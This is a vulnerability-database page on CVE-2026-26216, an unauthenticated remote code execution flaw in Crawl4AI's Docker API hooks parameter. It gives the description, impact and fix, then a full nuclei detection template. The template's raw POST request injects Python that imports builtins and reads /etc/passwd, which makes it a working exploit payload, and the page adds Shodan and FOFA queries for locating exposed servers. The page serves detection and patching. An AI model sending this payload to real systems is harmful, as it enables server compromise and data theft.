HexBrain

Browse / CVEs / CVE-2026-26216

CVE-2026-26216· CWE-94

Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter

criticalseverity
10CVSS score
6.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks.

Impact

An unauthenticated attacker can achieve full server compromise: arbitrary command execution, file read/write, exfiltration of environment variables and API keys, and lateral movement into internal networks.

Fix

Upgrade to Crawl4AI 0.8.0 or later, which removes __import__ from allowed_builtins in hook_manager.py and disables hooks by default (CRAWL4AI_HOOKS_ENABLED=false). As an interim mitigation, disable the Docker API deployment or restrict network access to it and add authentication.

How to confirm it

Send: POST /crawl
Positive when: contains "AEV-CANARY-{{randstr}}-root:x:0:0" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-26216 -u <target>

The full check
id: CVE-2026-26216

info:
  name: Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter
  author: dishantmodi
  severity: critical
  description: |
    Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks.
  remediation: |
    Upgrade to Crawl4AI 0.8.0 or later, which removes __import__ from allowed_builtins in hook_manager.py and disables hooks by default (CRAWL4AI_HOOKS_ENABLED=false). As an interim mitigation, disable the Docker API deployment or restrict network access to it and add authentication.
  impact: |
    An unauthenticated attacker can achieve full server compromise: arbitrary command execution, file read/write, exfiltration of environment variables and API keys, and lateral movement into internal networks.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp
    - https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter
    - https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26216
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-26216
    epss-score: 0.06326
    epss-percentile: 0.93678
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Crawl4AI"
    fofa-query: body="Crawl4AI"
  tags: cve,cve2026,crawl4ai,rce,python,vkev

http:
  - raw:
      - |
        POST /crawl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"urls":["https://example.com"],"hooks":{"code":{"on_page_context_created":"async def hook(page, context, **kwargs):\n    _builtins = __import__('builtins')\n    with _builtins.open('/etc/passwd', 'r') as _f:\n        _data = _f.read(300)\n    _os = __import__('os')\n    raise _os.error('AEV-CANARY-{{randstr}}-' + _data)\n    return page"},"timeout":30}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "AEV-CANARY-{{randstr}}-root:x:0:0"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from